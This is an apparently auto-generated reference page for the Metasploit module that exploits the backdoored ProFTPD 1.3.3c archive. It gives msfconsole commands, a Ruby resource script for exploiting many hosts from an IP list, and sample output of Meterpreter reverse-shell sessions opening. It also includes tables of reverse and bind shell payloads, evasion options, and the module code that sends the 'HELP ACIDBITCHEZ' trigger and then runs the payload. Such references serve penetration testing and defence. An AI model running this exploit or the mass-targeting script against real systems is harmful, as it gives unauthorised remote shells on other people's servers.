ProFTPD-1.3.3c Backdoor Command Execution - Metasploit

This page contains detailed information about how to use the exploit/unix/ftp/proftpd_133c_backdoor metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

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Name: ProFTPD-1.3.3c Backdoor Command Execution
Module: exploit/unix/ftp/proftpd_133c_backdoor
Source code: modules/exploits/unix/ftp/proftpd_133c_backdoor.rb
Disclosure date: 2010-12-02
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: ftp
Target network port(s): 21, 2121
List of CVEs: -

This module exploits a malicious backdoor that was added to the ProFTPD download archive. This backdoor was present in the proftpd-1.3.3c.tar.[bz2|gz] archive between November 28th 2010 and 2nd December 2010.

Module Ranking and Traits

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Module Ranking:

• excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage

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Using proftpd_133c_backdoor against a single host

Normally, you can use exploit/unix/ftp/proftpd_133c_backdoor this way:

msf > use exploit/unix/ftp/proftpd_133c_backdoor
msf exploit(proftpd_133c_backdoor) > show targets
    ... a list of targets ...
msf exploit(proftpd_133c_backdoor) > set TARGET target-id
msf exploit(proftpd_133c_backdoor) > show options
    ... show and set options ...
msf exploit(proftpd_133c_backdoor) > exploit

Using proftpd_133c_backdoor against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your proftpd_133c_backdoor will be using:

1. Do: use exploit/multi/handler
2. Do: set PAYLOAD [payload]
3. Set other options required by the payload
4. Do: set EXITONSESSION false
5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/unix/ftp/proftpd_133c_backdoor")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

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• RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

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Here is how the unix/ftp/proftpd_133c_backdoor exploit module looks in the msfconsole:

msf6 > use exploit/unix/ftp/proftpd_133c_backdoor

msf6 exploit(unix/ftp/proftpd_133c_backdoor) > show info

       Name: ProFTPD-1.3.3c Backdoor Command Execution
     Module: exploit/unix/ftp/proftpd_133c_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-12-02

Provided by:
  MC <[email protected]>
  darkharper2

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   21               yes       The target port (TCP)

Payload information:
  Space: 2000
  Avoid: 0 characters

Description:
  This module exploits a malicious backdoor that was added to the 
  ProFTPD download archive. This backdoor was present in the 
  proftpd-1.3.3c.tar.[bz2|gz] archive between November 28th 2010 and 
  2nd December 2010.

References:
  OSVDB (69562)
  http://www.securityfocus.com/bid/45150

Module Options

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This is a complete list of options available in the unix/ftp/proftpd_133c_backdoor exploit:

msf6 exploit(unix/ftp/proftpd_133c_backdoor) > show options

Module options (exploit/unix/ftp/proftpd_133c_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   21               yes       The target port (TCP)

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options

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Here is a complete list of advanced options supported by the unix/ftp/proftpd_133c_backdoor exploit:

msf6 exploit(unix/ftp/proftpd_133c_backdoor) > show advanced

Module advanced options (exploit/unix/ftp/proftpd_133c_backdoor):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   CHOST                                    no        The local client address
   CPORT                                    no        The local client port
   ConnectTimeout          10               yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FTPDEBUG                false            no        Whether or not to print verbose debug statements
   FTPTimeout              16               yes       The number of seconds to wait for a reply from an FTP command
   PassiveMode             false            no        Set true for extended passive (EPSV) ftp mode.
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                     false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Exploit Targets

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Here is a list of targets (platforms and systems) which the unix/ftp/proftpd_133c_backdoor module can exploit:

msf6 exploit(unix/ftp/proftpd_133c_backdoor) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads

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This is a list of possible payloads which can be delivered and executed on the target system using the unix/ftp/proftpd_133c_backdoor exploit:

msf6 exploit(unix/ftp/proftpd_133c_backdoor) > show payloads

Compatible Payloads
===================

   #  Name                                        Disclosure Date  Rank    Check  Description
   -  ----                                        ---------------  ----    -----  -----------
   0  payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   1  payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   2  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   3  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   4  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   5  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   6  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   7  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)

Evasion Options

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Here is the full list of possible evasion options supported by the unix/ftp/proftpd_133c_backdoor exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(unix/ftp/proftpd_133c_backdoor) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

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This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Not backdoored

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Here is a relevant code snippet related to the "Not backdoored" error message:

55:	    sock.put("HELP ACIDBITCHEZ\r\n")
56:	
57:	    res = sock.get_once(-1,10)
58:	
59:	    if ( res and res =~ /502/ )
60:	      print_error("Not backdoored")
61:	    else
62:	      sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")
63:	      handler
64:	    end
65:	

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Related Pull Requests

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• #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
• #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
• #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
• #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
• #6655 Merged Pull Request: use MetasploitModule as a class name
• #6648 Merged Pull Request: Change metasploit class names
• #6139 Merged Pull Request: Remove bad references (dead links)
• #2525 Merged Pull Request: Change module boilerplate
• #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences

References

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• CVE: Not available
• OSVDB (69562)
• BID-45150

See Also

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Check also the following modules related to this module:

• exploit/unix/ftp/proftpd_modcopy_exec
• exploit/unix/ftp/vsftpd_234_backdoor
• exploit/linux/http/webmin_backdoor
• exploit/linux/misc/netcore_udp_53413_backdoor
• exploit/linux/ssh/quantum_vmpro_backdoor
• exploit/multi/http/horde_href_backdoor
• exploit/multi/http/phpmyadmin_3522_backdoor
• exploit/multi/local/allwinner_backdoor
• exploit/unix/irc/unreal_ircd_3281_backdoor
• exploit/unix/webapp/mybb_backdoor
• exploit/windows/http/hp_openview_insight_backdoor
• auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss
• auxiliary/scanner/backdoor/energizer_duo_detect
• auxiliary/scanner/http/dlink_user_agent_backdoor
• auxiliary/scanner/misc/sercomm_backdoor_scanner
• auxiliary/scanner/ssh/eaton_xpert_backdoor
• auxiliary/scanner/ssh/fortinet_backdoor
• auxiliary/scanner/ssh/juniper_backdoor
• exploit/multi/http/caidao_php_backdoor_exec
• exploit/multi/http/mma_backdoor_upload
• exploit/multi/http/openx_backdoor_php
• exploit/multi/http/phpstudy_backdoor_rce
• exploit/multi/http/simple_backdoors_exec
• exploit/unix/webapp/carberp_backdoor_exec
• exploit/windows/backdoor/energizer_duo_payload

Related Nessus plugins:

• ProFTPD Compromised Source Packages Trojaned Distribution

Authors

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• MC
• darkharper2

Version

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This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

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